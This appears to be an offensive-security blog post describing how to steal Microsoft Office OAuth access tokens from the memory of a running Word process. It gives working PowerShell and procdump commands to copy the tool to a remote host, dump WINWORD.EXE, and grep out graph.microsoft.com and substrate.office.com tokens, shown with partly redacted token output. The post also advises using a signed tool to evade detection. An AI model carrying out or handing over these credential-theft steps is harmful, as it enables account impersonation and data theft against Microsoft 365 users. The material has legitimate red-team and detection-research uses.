Stealing Microsoft Office tokens in memory


m3rcer

Let us look into stealing Microsoft Office tokens present in memory on a host for a target pricipal.

To simulate an MS Office login on the host using the a target user, a Macro command executing tool such as MacroRecorder was used to automate the log in process: https://www.macrorecorder.com/

& 'C:\Program Files (x86)\MacroRecorder\MacroRecorder.exe' -play=C:C:\Users\Administrator\Desktop\macro.mrf

Attempting to analyze and search for office tokens (eyJ0eX) using Process Hacker 2 after a valid login, consistent results after a user simulation action are observed:

However when performing a minidump of the process and then looking for this string results were inconsistent, this is primarily because minidumps using say procdump do not include Private mapped regions. As an alternative we can perform a Full process memory dump or alternative dumps that can dump private mapped regions too.

To do so we can use a tool such as procdump as it is a trusted signed tool to evade detections.

After performing various procdump dumps with the working MacroRecorder simulation for the HTTPS interception part and looking for tokens with the string eyJ0eX the following results were observed:

Perform a standard minidump (default): -mm

  • Credentials: Rarely found
  • Size: ~50mb

Performing a full process dump: -ma

  • Credentials: Found always
  • Size: ~650mb

Performing miniplus dump: -mp (preferred)

  • Credentials: Found always, similar to full process dump
  • Size: ~95mb

Now, create a PSRemote session on the target as in objective and transfer procdump.

PS C:\> $session = New-PSSession -cn WIN-JH5F00D8313.nerd.corp

PS C:\> Copy-Item C:\Tools\procdump.exe -Destination C:\Users\public\ -ToSession $session -recurse

An example to perform a miniplus dump using procdump is as follows:

[WIN-JH5F00D8313.nerd.corp]: PS C:\Users\Administrator> tasklist /v | findstr /i winword
WINWORD.EXE                   3396 RDP-Tcp#0                  2    196,988 K Running         EC2AMAZ-2LLTT7D\Administrator                           0:00:05 Document1  -  AutoRecovered  -  Compatibility Mode - Word

[WIN-JH5F00D8313.nerd.corp]: PS C:\Users\Administrator> .\procdump.exe -mp 3396

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[07:05:01] Dump 1 initiated: C:\Users\Administrator\Desktop\ca\ProcDump\WINWORD.EXE_230925_070501.dmp
[07:05:02] Dump 1 complete: 97 MB written in 0.5 seconds
[07:05:02] Dump count reached.

We can then search for office tokens by looking for the string eyJ0eX using the select-string commandlet in PowerShell or Microsofts strings64 tool:

Using select-string in PowerShell (preferred) we look for a token with graph.microsoft.com and outlook.office365.com. In this case first for graph.microsoft.com

Regex NOTE: . is escaped as . is a special character in regular expressions and we want to match a literal dot. .\*? matches any characters (including spaces) in between “graph.microsoft.com” and “eyJ0eX” on the same line.

[WIN-JH5F00D8313.nerd.corp]: PS C:\Users\Administrator> $graphtoken = Select-String -Path C:\Users\Administrator\Desktop\ca\ProcDump\WINWORD.EXE_231003_070025.dmp -Pattern "graph\.microsoft\.com.*?eyJ0eX"

[WIN-JH5F00D8313.nerd.corp]: PS C:\Users\Administrator> $graphtoken | out-file -append -encoding ascii graphtoken.out

[WIN-JH5F00D8313.nerd.corp]: PS C:\Users\Administrator> gc graphtoken.out
[....snip...]
https://graph.microsoft.com//Users.Read":{"cachedl`�#4◄�15.0000ft Office Word2292ab01c","
credential_type":"AccessToken","environment":"login.windows.net","expires_on":"1695710790","extended_expires_on":"16956
24392","family_id":"","home_account_id":"52f19b5b-0567-4043-8ffe-48b00f43203d.e37fb390-11d6-47ac-9b5b-b853810a8411","ki
d":"","prt_protocol_version":"","realm":"e37fb390-11d6-47ac-9b5b-b853810a8411","redirect_uri":"urn:ietf:wg:oauth:2.0:oo
b","refresh_on":"0","requested_claims":"{\"access_token\":{\"xms_cc\":{\"values\":[\"CP1\"]}}}","secret":"eyJ0eXAiOi[...snip...]","session_key":"","session_key_rolling_date":"0","target":"email

[...snip...]

Copy and decode the token at https://jwt.io/ as follows:

Similarly, here’s an example for substrate.office.com:

[WIN-JH5F00D8313.nerd.corp]: PS C:\Users\Administrator> $substratetoken = Select-String -Path C:\Users\Administrator\Desktop\ca\ProcDump\WINWORD.EXE_231003_151238.dmp -Pattern "substrate\.office\.com.*?eyJ0eX"

[WIN-JH5F00D8313.nerd.corp]: PS C:\Users\Administrator> $substratetoken | out-file -append -encoding ascii substratetoken.out

[WIN-JH5F00D8313.nerd.corp]: PS C:\Users\Administrator> gc substratetoken.out

https://substrate.office.com/User.Read https://substrate.office.com/UnifiedPolicy.User.Read
https://substrate.office.com/user_impersonation https://substrate.office.com/User-Internal.Read":{"cached_at":"16956244
01","client_id":"d3590ed6-52b3-4102-aeff-aad2292ab01c","credential_type":"AccessToken","environment":"login.windows.net
","expires_on":"1695724282","extended_expires_on":"1695624401","family_id":"","home_account_id":"52f19b5b-0567-4043-8ff
e-48b00f43203d.e37fb390-11d6-47ac-9b5b-b853810a8411","kid":"","prt_protocol_version":"","realm":"e37fb390-11d6-47ac-9b5
b-b853810a8411","redirect_uri":"urn:ietf:wg:oauth:2.0:oob","refresh_on":"0","requested_claims":"{\"access_token\":{\"xm
s_cc\":{\"values\":[\"CP1\"]}}}","secret":"eyJ0eXAiOiJKV1QiLCJub[...snip...]
QlmDfx5owE3HTj_rmkOxTXFjDNkbWm1zFouA","session_key":"","session_key_rolling_date":"0","target":"https://substrate.offic
e.com/Collab-Internal.Write https://substrate.office.com/Notes.ReadWrite

References

https://mrd0x.com/stealing-tokens-from-office-applications/